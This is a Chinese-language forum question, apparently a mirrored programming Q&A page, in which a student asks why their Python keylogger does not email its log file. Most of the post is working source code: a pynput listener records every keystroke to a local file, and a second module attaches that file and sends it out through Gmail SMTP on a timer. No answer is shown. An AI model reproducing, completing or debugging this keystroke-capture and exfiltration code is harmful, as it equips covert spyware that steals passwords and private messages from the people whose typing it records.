首页 > 解决方案 > 发送 python 代码的电子邮件不适用于键盘记录执行代码

问题描述

我是生成 Python 键盘记录程序作为安全项目的学生。

我创建了一个代码来制作键盘记录文件并通过电子邮件自动发送其文件(键盘记录文件)。并且它在没有来自编译器的任何警告的情况下运行,但我无法收到任何电子邮件。

我已经检查了垃圾邮件邮箱,我等待了足够的时间发送电子邮件。只是电子邮件单独发送代码,电子邮件只是在执行代码后立即发送。但使用键盘记录代码,它不起作用(电子邮件不发送)

请告诉我我应该怎么做。

键盘记录.py

from pynput.keyboard import Key, Listener
import logging
import logging.handlers
import os
import time
import datetime

import mailFunc

import threading

if os.path.isdir('C:\\Keylogging') == False:
    os.mkdir('C:\\Keylogging')

log_dir = ''

logging.basicConfig(filename=(log_dir + "C:\\Keylogging\\Key.txt"),
                    level=logging.DEBUG, format='["%(asctime)s". %(message)s]')

def on_press(key):
    logging.info('"{0}"'.format(key))

with Listener(on_press = on_press) as listener:
    listener.join()

threading.Timer(60.0, mailFunc.autoEmailSend()).start()

mailFunc.py(它发送一封电子邮件)

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

import os
import time
import schedule

def autoEmailSend():
        #hided because it is my private information
        email_user = '(email id)'         
        email_password = '(email password)'        
        email_send = '(email id)
       

        subject = 'Keylogging Auto Report'

        msg = MIMEMultipart()
        msg['From'] = email_user
        msg['To'] = email_send
        msg['Subject'] = subject

        body = 'Keylogging Report, Time : ' + time.strftime('%c', time.localtime(time.time()))
        msg.attach(MIMEText(body,'plain'))

        filename='C:\\Keylogging\\Key.txt'  
        attachment = open(filename,'rb')

        part = MIMEBase('application','octet-stream')
        part.set_payload((attachment).read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition',"attachment", filename= os.path.basename(filename))
        msg.attach(part)

        text = msg.as_string()
        server = smtplib.SMTP('smtp.gmail.com',587)
        server.starttls()
        server.login(email_user,email_password)

        server.sendmail(email_user,email_send,text)
        server.quit()

        print("Mail Sended at " + time.strftime('%c', time.localtime(time.time())))

我还没有多少编程,第一次在这样的论坛上提问题,而且我只是一个学习英语的学生,所以问题可能不熟练。我请求你的理解。

标签: pythonemail

解决方案


推荐阅读